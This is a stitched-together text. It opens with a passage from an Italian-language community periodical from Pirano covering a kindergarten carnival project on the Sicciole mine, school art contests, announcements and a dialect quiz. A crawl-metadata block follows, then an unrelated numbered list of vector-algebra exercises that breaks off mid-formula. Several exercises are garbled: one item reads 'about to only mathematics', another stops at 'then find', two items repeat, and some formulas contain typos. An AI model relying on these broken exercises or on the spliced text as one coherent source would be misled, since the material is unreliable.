zona. Con lui abbiamo finalmente capito come i minatori riuscivano a lavorare nel buio, come facevano a camminare nel fango e nell’acqua, quali attrezzi usavano, cosa mangiavano e come sapevano quando fuori pioveva. Durante quest’intervista abbiamo ricevuto le risposte a quasi tutte le nostre domande. L’unica cosa che ai bambini era difficile comprendere era come i minatori riuscivano a scendere sotto il suolo. Per rispondere anche a questo quesito abbiamo invitato all’asilo il signor Damir Gregorič, che ci ha fatto vedere un filmato sulla nostra miniera, nel quale abbiamo visto grandi gabbie che avevano la stessa funzione degli ascensori di oggi. Le cose più importanti che ci ha chiarito questo video sono la fatica, l’impegno e l’importanza che i lavoratori davano a questo lavoro. Siamo arrivati al punto in cui avevamo tutto il sapere necessario per continuare il nostro progetto. Abbiamo capito quali erano i valori più importanti per i minatori, la struttura della miniera e il suo funzionamento, sapevamo chi erano i minatori e quale era il loro ruolo. Ci siamo messi subito al lavoro e, per certi versi, per noi era anche un gioco. L’idea era quella di partecipare alla sfilata di Carnevale tutti insieme perché si sa: ‘L’unione fa la forza!’. Quindi tutti a collaborare per lo stesso fine. Il primo passo da fare era quello di raccogliere il materiale necessario per realizzare il nostro progetto... La lista delle cose che ci servivano era lunghissima e, per riuscire a procurarle e a realizzarle tutte, ci siamo suddivisi i compiti: ai carrelli che ci servivano per fare i vagoni avrebbero pensato i papà di Jakob e Lukas, la mamma di Eshlye e il nonno di Kevin; alla galleria ci avrebbe pensato la maestra Mariela con l’aiuto di tutti, al vestiario i genitori e la nonna di Eshley; gli stivali, gli attrezzi per scavare sarebbe stata aiutata dalla maestra Mariela e dalla mamma di Vid. Il papà di Naja ci ha procurato l’altoparlante e la sirena. Non potevamo fare a meno dell’aiuto del nostro bidello Marino, che ci ha preparato i supporti per la galleria e, insieme al papà di Matis, ha messo a nostra disposizione il furgone per il trasporto nel giorno della sfilata. Noi insegnanti abbiamo coinvolto i genitori, mentre loro hanno coinvolto i nonni, i colleghi di lavoro, gli amici, i conoscenti, i negozi... Abbiamo unito tutte le nostre forze e siamo riusciti a raccogliere enormi quantità di cartone, giornali, sacchi neri, CD e quant’altro. Il negozio Lidl ci ha donato 5 carrelli, cassette, ecc. Insomma abbiamo racimolato tantissimo materiale da usare durante le attività con i nostri bambini e nei laboratori creativi con i genitori. Il clima era allegro, la collaborazione era intensa, i bambini erano sereni. Era tutto quello di cui avevamo bisogno per proseguire. Dopo tantissimo impegno, lunghe ore di lavoro e qualche preoccupazione eravamo pronti per il grande giorno. Alla fine avevamo una galleria lunga 10 m, un gran numero di partecipanti e una grande voglia di vincere l’ottavo Carnevale Istriano di Portorose. La nostra sfilata è partita con la musica nel cuore e con quella che si sentiva dal nostro altoparlante. Volevamo trasmettere a tutti la nostra felicità e l’orgoglio del lavoro fatto. Nessuno sapeva quanto impegno c’era dietro a tutto questo, nessuno sapeva che la galleria era stata assemblata per intero il giorno prima della sfilata e nessuno sapeva quanto questo progetto ci abbia uniti. Seguendo il nostro ‘protocollo da sfilata’ abbiamo raggiunto la giuria alla quale abbiamo presentato la canzone Aggiungi un posto a tavola, ovviamente col rispettivo ballo. Il messaggio che siamo riusciti a dare al pubblico era che tanti minatori venivano da lontano, con le valige in mano come il nostro Branko, ma venivano tutti accolti nella vita sociale del posto... Il nostro tragitto stava giungendo alla fine. Per fortuna, perché la galleria di cartone stava diventando pesante, sempre più imprigionata d’acqua piovana. Appena arrivati al traguardo, la galleria è crollata. La pioggia che ci ha accompagnati lungo tutto il percorso ha distrutto la nostra galleria. Sarà che ci siamo talmente immedesimati nel nostro ruolo che alla fine non poteva mancare un finale avventuroso – in fin fine la miniera di Sicciole venne chiusa proprio a causa dell'allagamento. Alla fine tutto il nostro impegno e la nostra fatica sono stati premiati e tutti insieme abbiamo esclamato con l'entusiasmo alle stelle: "Abbiamo vinto!". Ringraziamo l'insegnante Veronika Gornik per la collaborazione. Le maestre Sara Bičič e Mariela Batista GLI ARTISTI PIÙ GIOVANI CREANO IL CARTELLONE OLIMPICO RIO 2016 SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI SICCIOLE Il Comitato olimpico della Slovenia ha pubblicato il bando per il concorso Il cartellone olimpico con il fine di celebrare e promuovere la partecipazione degli atleti sloveni alle Olimpiadi estive a Rio de Janeiro. Con il gruppo di bambini da 3 a 6 anni abbiamo realizzato un laboratorio creativo dedicato ai Giochi olimpici e ai corrispondenti simboli. Ci siamo soffermati sull'importanza del cartellone, degli anelli e dei colori. Abbiamo prestato una particolare attenzione ai valori che caratterizzano i Giochi olimpici: l'amicizia tra i popoli, il fairplay, l'integrità, il movimento e l'energia. I bambini stampano con i palmi aperti delle mani. Prendendo conoscenza dell'importanza dei Giochi olimpici e dei loro simboli i bambini hanno avuto modo di giocare con i colori a dita e di trasportare i valori sul foglio, esprimendoli con il disegno. I bambini adoperando i palmi aperti delle mani hanno così realizzato delle impronte che ci trasmettono un messaggio di amicizia vera e concorrenza leale tra le varie nazioni del mondo – i due valori fondamentali dei Giochi olimpici. I bambini tramite i loro disegni hanno trasmesso la loro più sincera fiducia nel successo dei nostri atleti. Il significato dei colori dei cinque anelli olimpici - l'unione dei cinque continenti: Blu: Europa, Nero: Africa, Giallo: Asia, Rosso: America, Verde: Australia con l'Oceania. Lo sfondo bianco porta il significato della pace nel mondo. Urška Ribich, graphic designer e mamma di Vid QUANDO CAMMINARE DIVENTA UN'ABITUDINE SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI SICCIOLE Le nostre uscite sono divertenti, educative e non si ripetono mai. I sentieri vengono proposti dagli insegnanti responsabili del corso, i quali tengono conto delle richieste e dei suggerimenti dei genitori. Ed è proprio su richiesta di alcuni piccoli alpinisti che, questa volta, ci siamo recati a scoprire il percorso del fiume Dragogna. Questa nostra valle tanto amata e tanto discussa nell'ultimo periodo è vestita di un filo spinato che le toglie l'anima e sporca la sua naturale bellezza. Gli occhi di tutti si sono rattristati ed il pensiero che ci ha accompagnati lungo il nostro percorso era la speranza che il filo spinato sparisca quanto prima. Dopo una lunga camminata siamo riusciti finalmente ad arrivare al nostro traguardo. Il posto viene chiamato 'Stena' dove la natura ha modellato la roccia nel corso dei secoli, creando un ponte naturale dove abbiamo camminato e raccolto i primi bucaneeve. Mariela Batista, insegnante Alla scuola “Grazia Deledda - Max Fabiani” di Trieste “QUESTA VOLTA METTI IN SCENA... IL CUORE” PREMIAZIONE DELL’UNDICESIMA EDIZIONE DEL CONCORSO Lo scorso 29 gennaio la scuola “Grazia Deledda - Max Fabiani” di Trieste ha ospitato la cerimonia di premiazione dell’undicesima edizione del concorso “Questa Volta metti in scena... il cuore”, che è stata aperta con la proiezione del video della classe 3B e della maestra Giuliana Fedele della scuola primaria “I. Nieve” di Premariacco. Sono seguiti gli interventi della Capo delegazione Fai di Trieste Mariella Marchi e della Vice capo Delegazione Mirella Pipani, del Presidente dell’Associazione Cuore Amico Muggia Giorgio Mauro e del Direttore del Centro cardiovascolare il dott. Andrea Di Lenarda, accompagnato dal cardiologo dott. Giorgio Faganello per nuovi punti di vista sul ‘cuore’. L’ampio progetto diretto da Lorena Matric con l’organizzazione dell’Associazione culturale Opera Viva, rivolto agli studenti delle scuole superiori della regione e del Litorale sloveno ha registrato una partecipazione di quasi 500 ragazzi. Li ha visti impegnati nel concorso e negli stage formativi tenutisi a Trieste al Liceo artistico “Nordio”, a Udine al Liceo artistico “Sello” e a Capodistria al Ginnasio “G.R. Carli”. Visiting professor Lara Jeranko Marconi, illustratrice, Maurizio Melozzi, fotografo attivo nel campo della moda e Paola Russo art director di ultra ventennale esperienza in campagne pubblicitarie internazionali. Professionisti ed esempi di ‘sana creatività’ con cui si è voluto creare un collegamento tra il mondo della scuola e il mondo del lavoro. Il tema dell’undicesima edizione “… il cuore” che evoca immediatamente il simbolo per eccellenza dell’Amore, materno, passionale, fragile, imprevedibile e sofferente, ha portato ad analizzare anche la simbologia che “il cuore” assume nell’arte, nella pubblicità, nella moda e nell’iconografia religiosa, e anche “il cuore” inteso come organo del corpo umano, ma come è prerogativa di sempre del concorso, il tema proposto è stato analizzato in tutte le sue altre accezioni. Il progetto si realizza con il contributo della Regione FVG Assessorato alla Cultura, la Fondazione CRTrieste, la Unicusano e la Zkb, con le preziose collaborazioni del Comune di Duino Aurisina, il Comune città di Capodistria, la Comunità degli Italiani “Giuseppe Tartini” di Pirano, il Fai Delegazione di Trieste, la Fondazione Lelio Luttazzi, le Gallerie costiere di Pirano e il “Grazia Deledda – Max Fabiani” scuola capofila fin dalla prima edizione. Sono stati premiati i primi classificati delle 9 sezioni: disegno, grafica, collage, fumetto, pittura, mixed media, fotografia, video e textile, più alcune menzioni speciali. La giuria era composta da Ugo Borsatti, fotografo, Rossana Luttazzi, Presidente Fondazione Lelio Luttazzi, Claudia Ratman, vincitrice della prima edizione del concorso, Tatjana Sirk, curatrice delle Gallerie costiere di Pirano, Fulvia Zudič, artista e coordinatrice culturale della Comunità italiana di Pirano e la stessa Matric. Dal 3 al 19 febbraio al Teatro Miela erano esposti in mostra i lavori vincitori e delle scuole e delle scuole invitate: l’Istituto “L. da Vinci” di Parigi e il Liceo artistico “Calò” di Grottaglie. Sempre il 3 febbraio si è svolto il Casting Video per trovare i dieci studenti-protagonisti del film sui luoghi della Regione che hanno fatto innamorare. Dal 4 al 30 marzo la mostra si sposta al Palazzo Pretorio di Capodistria. Ultima esposizione dall’8 al 23 aprile da Goran Hair Style Spa con le opere dei visiting professor e la proiezione del film sui luoghi del cuore. A maggio la presentazione del catalogo con tutte le tappe dell’articolato progetto svoltosi nel corso dell’anno scolastico 2015-2016. La premiazione Venti sono stati gli interventi che hanno aperto e salutato la manifestazione In basso: studenti e docenti presenti alla consegna dei premi (foto: Archivio CI Pirano) AVVISO Informiamo i nostri lettori che “il Trillo” ospita testi, contributi e fotografie di tutti coloro che sentono il desiderio di inviarci aneddoti, racconti di vita vissuta, vecchie storie, memorie e fotografie della Pirano di un tempo. È un modo per raccogliere ancora testimonianze, prima che queste siano cancellate dall’oblio del tempo: una maniera per documentare questa nostra presenza su questo lembo di terra istriana. Ognuno di voi certamente avrà dei racconti, delle storie di vita vissuta, ambientate o riguardanti la nostra città, conservati e celati nella propria memoria. Si tratta di estrapolarli e di inviarceli, preferibilmente in forma elettronica. Grazie per la collaborazione. La redazione de “il Trillo” GIOVANNI RUZZIER ‘PIASTRA’ UFFICIALE AL MERITO DELLA REPUBBLICA ITALIANA Il Presidente della Repubblica on. Sergio Mattarella, in considerazione di particolari benemerenze, su proposta del Presidente del Consiglio dei Ministri, sentita la Giunta dell’Ordine al Merito della Repubblica Italiana, con decreto in data 2 giugno 2015 ha conferito al piranese Giovanni Ruzzier l’onorificenza di “Ufficiale” con facoltà di fregiarsi delle relative insegne. La cerimonia di consegna del brevetto ha avuto luogo, in forma ufficiale, alla Prefettura di Rimini il 19 dicembre 2015 alla presenza della massime Autorità civili, militari e religiose, all’uopo convenute. Ruzzier ha ricevuto il brevetto dalle mani di S.E. il Prefetto dott.ssa Peg Strano Materia che ha voluto al suo fianco il Comandante Provinciale della Guardia di Finanza, avendo l’insignito fatto parte del Corpo delle Fiamme Gialle. “il Trillo”, periodico della Comunità italiana del Comune di Pirano, nell’ambito del programma culturale della Comunità autogestita della nazionalità italiana di Pirano, bandisce il IV Concorso letterario artistico Tartini, 120 anni in piazza rivolto ai bambini delle scuole materne, agli alunni delle scuole dell’obbligo, agli studenti delle scuole medie superiori e, novità quest’anno, agli adulti. Argomenti proposti: - Piazza Tartini, da mandracchio a salotto cittadino; - Il Maestro delle Nazioni e il suo monumento; - Giornata di festa, 2 agosto 1896. Categoria ragazzi (0-18 anni) - in forma scritta: prosa o poesia. I lavori scritti dagli alunni della prima classe dovranno svilupparsi su almeno tre righe, della seconda e terza classe su almeno cinque, della quarta e quinta su almeno 8, della sesta e settima su almeno 15, dell’ottava e della nona su almeno 20. Per gli studenti, gli scritti devono superare le 30 righe. - in forma figurativa: nelle diverse tecniche espressive. Categoria adulti (con età superiore a 18 anni) - in forma scritta: prosa, poesia o saggistica. - in forma figurativa: nelle diverse tecniche espressive. I lavori dovranno pervenire alla segreteria della Comunità degli Italiani “Giuseppe Tartini” di Pirano (di seguito CI) entro il 31 maggio 2016. Un’apposita giuria valuterà i lavori pervenuti e assegnerà primi, secondi e terzi premi predisposti dalla CI per ognuna delle due categorie. I lavori dei premiati verranno pubblicati su “il Trillo”. La CI, in accordo con le scuole, organizzerà la cerimonia di premiazione. CONOSCIAMO IL NOSTRO DIALETTO RUBRICA DEDICATA AL NOSTRO VERNACOLO. PER SORRIDERE, RICORDARE ED IMPARARE DALLA STRAORDINARIA SAGGEZZA LOCALE di Donna Luisa Carissimi amici lettori! Rino Tagliapietra nativo di Pirano esule a Trieste ci ha lasciato in eredità i nomi e i diminutivi che venivano usati dai piranesi: Alda/Mafalda, Aldo/Arnaldo, Gesualdo, Alfio/Alfonso, Aneta/Anna, Ansolin/Angelo, Bepi/Giuseppe, Berto/Umberto, Roberto, Alberto, Gilberto, Beta/Elisabetta, Bia/Maria, Bin/Albino, Bina/Albina, Boci/Bortolo, Catina/Caterina, Cece/Cecilia, Cela/Marcella, Celo/Marcello, Cencio/Vincenzo, Cesco/Francesco, Checa/Francesca, Checo/Francesco, Cia/Lucia, Coletto/Nicolò, Dino/Domenico, Dora/Fedora, Teodora, Drea/Andrea. Portorose, Piazza Trieste Cartolina della collezione del sig. Josip Šobota Questo mese i lemmi dialettali mi sono stati inviati da Nella Nemec di Strugnano che ringrazio e le porgo cordiali saluti. La soluzione dovrà pervenire entro il 20 aprile 2016. Il partecipante, la cui risposta esatta verrà estratta, riceverà un quadro di Giulio Ruzzier raffigurante uno scorcio dell’isola di Veglia. Tra le risposte esatte è stata sorteggiata Adriana Cah di Pirano che riceverà un’illustrazione di Fulvia Zudič usata a corredo del volume Le perle del nostro dialetto. 1. Brufolo 2. Clapa 3. Crodega 4. Crossole 5. Ganasse 6. Granpà 7. Ingrumà 8. Magagne 9. Magna 10. ‘Ndemo 11. Papusse 12. Pastrocio 13. Pecera 14. Salvadego 15. Serado 16. Slavassada 17. Spissa 18. Tartassà 19. Verzi 20. Zitolo-zotolo 21. Zormana SOLUZIONI DEL CONCORSO N° 24 Bronzin/Marmitta, Cicirici de graia/Scricciolo, Colme/Tetto, Copol/Picciolo, Godolo/Ciottoło, Goto/Bicchiere, Gropeda/Gromma, Lame/Pozzanghere, Musina/Salvadanaio, Paion/Giaciglio di foglie di mais, Pindolàse/Gingillarsi, Ramina/Secchia per portare il latte, Sbrinsolo/Brandello, Sbrissà/Scivolare, Sbrufador/Annaffiatocio, Sbusariol/Punteruolo, Scansà/Ridurre, Scemare, Slai/Freno, Sofego/Afa, Sonfo/Monco, Stroncon/Tutolo. Proverbi dei nostri avi Ano bisesto, ano sensa sesto. San Biaso ‘l fredo taia ‘l naso. De Carneval, oni scherso val. San Valentín o piovà o borin. San Matia ‘l vol giasso pe’ la via.
<urn:uuid:ab6742c1-7021-4228-aba2-6c1730a13a3e>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
108,655
1. Classify the following as scalars and vector: 5 seconds 2. Classify the following as scalars and vector: 10 kg 3. Classify the following as scalars and vector: $40^0$ 4. Classify the following as scalars and vector: $20 \frac{m}{sec^2}$ 5. Classify the following as scalars and vector: 2 meters north west 6. Classify the following as scalars and vector: $10^{-19}$ Coulomb 7. Classify the following as scalar and vector quantity: work 8. Classify the following as scalar and vector quantity: intensity 9. Classify the following as scalar and vector quantity: time period 10. Classify the following as scalar and vector quantity: momentum 11. Classify the following as scalar and vector quantity: force 12. Classify the following as scalar and vector quantity: distance 13. Represent graphically a displacement of 40 km, 30° east of north. 14. Represent the following graphically: A displacement of 20 km, south east 15. In the given figure identify the following vectors: equal 16. In the given figure identify the following vectors: collinear but not equal 17. In the given figure identify the following vectors: cointial 18. Answer the following as true or false: Two colliner vectors are always equal in magnitude. 19. Answer the following as true or false: Two vectors having same magnitude are collinear 20. Answer the following as true or false: Two collinear vectors having the same magnitude are equal 21. Answer the following as true or false: $\overrightarrow{a}$ and $-\overrightarrow{a}$ are collinear. 22. Answer the following as true or false: Zero vector is unique 23. If $D$ is the mid-point of the side $BC$ of a triangle $ABC$, prove that $\overrightarrow{AB} + \overrightarrow{AC} = 2\overrightarrow{AD}$. 24. In a regular hexagon ABCDEF, prove that \[ \overrightarrow{AB} + \overrightarrow{AC} + \overrightarrow{AD} + \overrightarrow{AE} + \overrightarrow{AF} = 3\overrightarrow{AD} \] 25. If \( D,E \) and \( F \) are the mid-points of the sides \( BC, CA \) and \( AB \) respectively of the \( \Delta ABC \) and \( O \) be any point, then prove that \[ OA + OB + OC = OD + OE + OF \] 26. Let \( O \) be the centre of the regular hexagon ABCDEF then find \[ \overrightarrow{OA} + \overrightarrow{OB} + \overrightarrow{OD} + \overrightarrow{OC} + \overrightarrow{OE} + \overrightarrow{OF} \] 27. \(ABCDE\) is pentagon, prove that \(\overrightarrow{AB} + \overrightarrow{BC} + \overrightarrow{CD} + \overrightarrow{DE} + \overrightarrow{EA} = \overrightarrow{0}\) 28. In triangle ABC (Figure), which of the following is not true: (A) \(\overrightarrow{AB} + \overrightarrow{BC} + \overrightarrow{CA} = \overrightarrow{0}\) (B) \(\overrightarrow{AB} + \overrightarrow{BC} - \overrightarrow{AC} = \overrightarrow{0}\) (C) \(\overrightarrow{AB} + \overrightarrow{BC} - \overrightarrow{CA} = \overrightarrow{0}\) (D) \(\overrightarrow{AB} + \overrightarrow{CB} + \overrightarrow{CA} = \overrightarrow{0}\) 29. If $\overrightarrow{a}$ and $\overrightarrow{b}$ are the vectors determined by two adjacent sides of a regular hexagon ABCDEF, find the vector determined by the other sides taken in order. Also find $\overrightarrow{AD}$ and $\overrightarrow{CE}$ in terms of $\overrightarrow{a}$ and $\overrightarrow{b}$. 30. Vectors drawn from the origin $O$ to the points $A$, $B$ and $C$ are respectively $\overrightarrow{a}$, $\overrightarrow{b}$ and $4\overrightarrow{a} - 3\overrightarrow{b}$. Find $\overrightarrow{AC}$ and $\overrightarrow{BC}$. 31. about to only mathematics 32. What is the geometrical significance of the relation $|\overrightarrow{a} + \overrightarrow{b}| = |\overrightarrow{a} - \overrightarrow{b}|$? 33. IN any $\triangle ABC$, a point $p$ is on the side $BC$. If $\overrightarrow{PQ}$ is the resultant of the vectors $\overrightarrow{AP}, \overrightarrow{PB}$ and $\overrightarrow{PC}$, prove that $ABQC$ is a parallelogram and hence $Q$ is a fixed point. 34. If the sum of two unit vectors is a unit vector, then the magnitude of their difference is 35. $P,Q,R$ are the points on the sides $AB, BC$ and $CA$ respectively of triangle $ABC$ such that $AP:PB=BQ:QC=AR:RC=1:2$. Show that $PBQR$ is a parallelogram. 36. If O is the circumcentre and P the orthocentre of $\triangle ABC$, prove that $$\overrightarrow{PA} + \overrightarrow{PB} + \overrightarrow{PC} = 2\overrightarrow{OP}$$ 37. If O is the circumcentre and P the orthocentre of $\Delta ABC$, prove that $$\overrightarrow{OA} + \overrightarrow{OB} + \overrightarrow{OC} = \overrightarrow{OP}.$$ 38. If the position vectors of A and B respectively are $\hat{i} + 3\hat{j} - 7\hat{k}$ and $5\hat{i} - 2\hat{j} + 4\hat{k}$, then find 39. Compute the magnitude of the following vectors. Also mention whether it is a unit vector: $\overrightarrow{a} = \hat{i} + \hat{j} + \hat{k}$ 40. Compute the magnitude of the following vectors. Also mention whether it is a unit vector: $\overrightarrow{b} = 2\hat{i} - 7\hat{j} - 3\hat{k}$ 41. Compute the magnitude of the following vectors. Also mention whether it is a unit vector: $\frac{\hat{i}}{\sqrt{3}} + \frac{\hat{j}}{\sqrt{3}} - \frac{\hat{k}}{\sqrt{3}}$ 42. Write two different vectors having same direction. 43. Write two different vectors having same magnitude. 44. If \( P(-1, 2) \) and \( Q(3, -7) \) are two points, express the vectors \( \overrightarrow{PQ} \) in terms of unit vectors \( \hat{i} \) and \( \hat{j} \). Also find the distance between points P and Q. What is the unit vector in the direction of \( \overrightarrow{PQ} \)? Verify that magnitude of unit vector indeed unity. 45. Write the direction ratios of the vector \( \overrightarrow{a} = \hat{i} + \hat{j} - 2\hat{k} \) and hence calculate its direction cosines. 46. If \( OP = 2\hat{i} + 3\hat{j} - \hat{k} \) and \( OQ = 3\hat{i} - 4\hat{j} + 2\hat{k} \), find the modulus and direction cosines of PQ. 47. Find the direction cosines of the vector joining the points \( A(1, 2, -3) \) and \( B(-1, -2, 1) \) directed from \( A \rightarrow B \). 48. Show that the vector \( \hat{i} + \hat{j} + \hat{k} \) is equally inclined to the axes OX, OY, and OZ. 49. If \( \overrightarrow{a} = 2\hat{i} - \hat{j} + 2\hat{k} \) and \( \overrightarrow{b} = -\hat{i} + \hat{j} - \hat{k} \), calculate \( \overrightarrow{a} + \overrightarrow{b} \). 50. Find the unit vector in the direction of the resultant of vectors \( \hat{i} - \hat{j} + 3\hat{k}, 2\hat{i} + \hat{j} - 2\hat{k} \) and \( 2\hat{j} - 2\hat{k} \). 51. Find a vector in the direction of the vector $5\hat{i} - \hat{j} + 2\hat{k}$ which has magnitude 8 units. 52. If $|\overrightarrow{a}| = 3$ and $-4 \leq k \leq 1$, then what can you say about $|k\overrightarrow{a}|$? 53. The position vectors of the points P, Q, R, and S are respectively $\hat{i} + \hat{j} + \hat{k}$, $2\hat{i} + 5\hat{j}$, $3\hat{i} + 2\hat{j} - 3\hat{k}$, and $\hat{i} - 6\hat{j} - \hat{k}$. Prove that the lines PQ and RS are parallel and the ratio of their lengths is $\frac{1}{2}$. 54. Show that the points A, B, and C with position vectors \[ \vec{a} = 2\hat{i} + 4\hat{j} - \hat{k}, \quad \vec{b} = 4\hat{i} + 5\hat{j} + \hat{k} \text{ and } \vec{c} = 3\hat{i} + 6\hat{j} - 3\hat{k} \] respectively form the vertices of a right-angled triangle. 55. A triangle has vertices (1, 2, 4), (-2, 2, 1) and (2, 4, -3). Prove that the triangle is a right-angled triangle. 56. The two adjacent sides of a parallelogram are \(2\hat{i} + 3\hat{j} - 5\hat{k}\) and \(\hat{i} + 2\hat{j} + 3\hat{k}\). Find the unit vectors along the diagonals of the parallelogram. 57. For any two vectors $\overrightarrow{a}$ and $\overrightarrow{b}$, we always have $|\overrightarrow{a} + \overrightarrow{b}| \leq |\overrightarrow{a}| + |\overrightarrow{b}|$ [Triangle inequality]. 58. For any two vectors $\overrightarrow{a}$ and $\overrightarrow{b}$, we always have $|\overrightarrow{a} + \overrightarrow{b}| \leq |\overrightarrow{a}| + |\overrightarrow{b}|$ [Triangle inequality]. 59. For any two vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ prove that $|\overrightarrow{a} - \overrightarrow{b}| \geq |\overrightarrow{a}| - |\overrightarrow{b}|$ 60. Find the values of x and y so that the vectors $2\hat{i} + 3\hat{j}$ and $x\hat{i} + y\hat{j}$ are equal. 61. Show that the vectors $2\hat{i} - 3\hat{j} + 4\hat{k}$ and $-4\hat{i} + 6\hat{j} - 8\hat{k}$ are collinear. 62. Let $\vec{a} = 2\hat{i} - 3\hat{j}$ and $\vec{b} = 3\hat{i} + 2\hat{j}$. Is $|\vec{a}| = |\vec{b}|$? Are the vectors $\vec{a}$ and $\vec{b}$ equal? 63. If $\vec{a} = a_1\hat{i} + a_2\hat{j}$ and $\vec{b} = b_1\hat{i} + b_2\hat{j}$ are non-zero vectors, then prove that they are parallel if and only if $a_1b_2 - a_2b_1 = 0$. 64. If the points $(2, \beta, 3)$, $B(\alpha, -6, 1)$, and $C(-1, 11, 9)$ are collinear, find the values of $\alpha$ and $\beta$ by vector method. 65. If \(\vec{a} = 2\hat{i} - \hat{j} + \hat{k}\), \(\vec{b} = \hat{i} + 3\hat{j} - \hat{k}\), \(\vec{c} = -2\hat{i} + \hat{j} - 3\hat{k}\) and \(\vec{d} = 3\hat{i} + 2\hat{j} - 4\hat{k}\), find the scalars \(\alpha\), \(\beta\) and \(\gamma\) such that \(\vec{d} = \alpha \vec{a} + \beta \vec{b} + \gamma \vec{c}\). 66. If \(\overrightarrow{AO} + \overrightarrow{OB} = \overrightarrow{BO} + \overrightarrow{OC}\), prove that \(A, B, C\) are collinear points. 67. Show that the points \(A, B\) and \(C\) with position vectors \(-2\hat{i} + 3\hat{j} + 5\hat{k}\), \(\hat{i} + 2\hat{j} + 3\hat{k}\) and \(7\hat{i} - \hat{k}\) respectively are collinear. 68. Prove that the three points \( \overrightarrow{a} - 2\overrightarrow{b} + 3\overrightarrow{c}, 2\overrightarrow{a} + 3\overrightarrow{b} - 4\overrightarrow{c} \) and \( -7\overrightarrow{b} + 10\overrightarrow{c} \) are collinear. 69. Show that the points \( A(1, -2, -8), B(5, 0, -2) \) and \( C(11, 3, 7) \) are collinear, and find the ratio in which \( B \) divides \( AC \). 70. Show that the vectors \( \overrightarrow{a} - 2\overrightarrow{b} + 3\overrightarrow{c}, -2\overrightarrow{a} + 3\overrightarrow{b} - 4\overrightarrow{c} \) and \( -\overrightarrow{b} + 2\overrightarrow{c} \) are coplanar vector where \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are non coplanar vectors. 71. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are non-coplanar vectors, prove that the four points $2\overrightarrow{a} + 3\overrightarrow{b} - \overrightarrow{c}$, $\overrightarrow{a} - 2\overrightarrow{b} + 3\overrightarrow{c}$, $3\overrightarrow{a} + 4\overrightarrow{b} - 2\overrightarrow{c}$ and $\overrightarrow{a} - 6\overrightarrow{b} + 6\overrightarrow{c}$ are coplanar. 72. Show that the vectors $\hat{i} - 3\hat{i} + 2\hat{k}$, $2\hat{i} - 4\hat{j} - \hat{k}$ and $3\hat{i} + 2\hat{j} - \hat{k}$ are linearly independent. 73. Find the position vectors of the points which divide the join of the points $2\overrightarrow{a} - 3\overrightarrow{b}$ and $3\overrightarrow{a} - 2\overrightarrow{b}$ internally and externally in the ratio $2:3$. 74. $\overrightarrow{a}$ and $\overrightarrow{b}$ are the position vectors of A, B respectively and C is a point on AB produced such that AC=3 AB. Then the position vector of C is 75. Prove analytically that the medians of a triangle are concurrent. 76. Show that the points $\overrightarrow{a} + 2 \overrightarrow{b} + 3c$, $-2 \overrightarrow{a} + 3 \overrightarrow{b} + 5c$ and $7 \overrightarrow{a} - \overrightarrow{c}$ are colinear. 77. Let OACB be a parallelogram with O at the origin and OC a diagonal. Let D be the mid-point of OA. Using vector methods prove that BD and CO intersects in the same ratio. Determine this ratio. 78. Prove by vector method that the diagonals of a parallelogram bisect each other. 79. If the diagonals of a quadrilateral bisect each other, then the quadrilateral is a parallelogram. 80. Prove that the line segments joining the mid-points of the adjacent sides of a quadrilateral from a parallelogram. 81. Write all the unit vectors in $XY-plane$. 82. If the resultant of two forces is equal in magnitude to one of the components and perpendicular to it direction, find the other components using the vector method. 83. The wind is blowing due south with speed of 3m/sec. How fast should a car travel due east in order that the wind shall have a speed of 5m/sec relative to the car. 84. Let $\overrightarrow{AB}$ be a vector in two dimensional plane with magnitude 4 units. And making an angle of $60^\circ$ with x-axis, and lying in first quadrant. Find the components of $\overrightarrow{AB}$ in terms of unit vectors $\hat{i}$ and $\hat{j}$. So verify that calculation of components is correct. 85. A girl walks 4 km towards west, and then she walks 3 km in a direction $30^\circ$ east of north and stops. Determine the girl's displacement from her initial point of departure. 86. Let $\overrightarrow{r}_1, \overrightarrow{r}_2, \overrightarrow{r}_3, \ldots, \overrightarrow{r}_n$ be the position vectors of points $P_1, P_2, P_3, \ldots, P_n$ relative to the origin $O$. If the vector equation $a_1 \overrightarrow{r}_1 + a_2 \overrightarrow{r}_2 + \ldots + a_n \overrightarrow{r}_n = 0$ holds, then a similar equation will also hold w.r.t. to any other origin provided a. $a_1 + a_2 + \ldots + a_n = n$ b. $a_1 + a_2 + \ldots + a_n = 1$ c. $a_1 + a_2 + \ldots + a_n = 0$ d. $a_1 = a_2 = a_3 = \ldots = a_n = 0$ 87. Prove that the vector relation \( p \overrightarrow{a} + q \overrightarrow{b} + r \overrightarrow{c} + \ldots = 0 \) will be independent of the origin if and only if \( p + q + r + \ldots = 0 \), where \( p, q, r, \ldots \) are scalars. 88. A vector \( \mathbf{a} \) has components \( a_1, a_2 \) and \( a_3 \) in a right handed rectangular cartesian system OXYZ. The coordinate system is rotated about Z-axis through angle \( \frac{\pi}{2} \). Find components of \( \mathbf{a} \) in the new system. 89. If \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d} \) be the position vectors of points A,B,C,D respectively and \( \overrightarrow{b} - \overrightarrow{a} = 2\left( \overrightarrow{d} - \overrightarrow{c} \right) \) show that the point of intersection of the straight lines AD and BC divides these line segments in the ratio 2:1. 90. If \( G_1 \) is the mean centre of \( A_1, B_1, C_1 \) and \( G_2 \) that of \( A_2, B_2, C_2 \) then show that \[ \overrightarrow{A_1A_2} + \overrightarrow{B_1B_2} + \overrightarrow{C_1C_2} = 3\overrightarrow{G_1G_2} \] 91. The position vectors of the points \( A, B, C, D \) are \[ 3\hat{i} - 2\hat{j} - \hat{k}, \quad 2\hat{i} + 3\hat{j} - 4\hat{k}, \quad -\hat{i} + \hat{j} + 2\hat{k} \quad \text{and} \quad 4\hat{j} + 5\hat{j} + \lambda\hat{k} \] respectively Find \( \lambda \) if \( A, B, C, D \) are coplanar. 92. If the vectors \[ \vec{\alpha} = a\hat{i} + \hat{j} + \hat{k}, \quad \vec{\beta} = \hat{i} + b\hat{j} + \hat{k} \quad \text{and} \quad \vec{\gamma} = \hat{i} + \hat{j} + c\hat{k} \] are coplanar, then prove that \[ \frac{1}{1-a} + \frac{1}{1+b} + \frac{1}{1-c} = 1, \quad \text{where} \quad a \neq 